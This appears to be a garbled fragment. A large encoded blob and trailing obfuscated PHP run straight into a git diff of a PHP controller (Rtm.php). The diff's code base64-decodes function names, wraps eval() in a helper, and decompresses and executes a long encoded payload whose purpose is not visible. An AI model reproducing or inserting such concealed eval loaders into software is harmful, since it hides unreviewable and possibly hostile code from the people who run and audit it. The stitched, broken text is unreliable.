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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Rtm.php b/donjo-app/controllers/Rtm.php index ca4ab9143..c0c84002d 100644 --- a/donjo-app/controllers/Rtm.php +++ b/donjo-app/controllers/Rtm.php @@ -220,7 +220,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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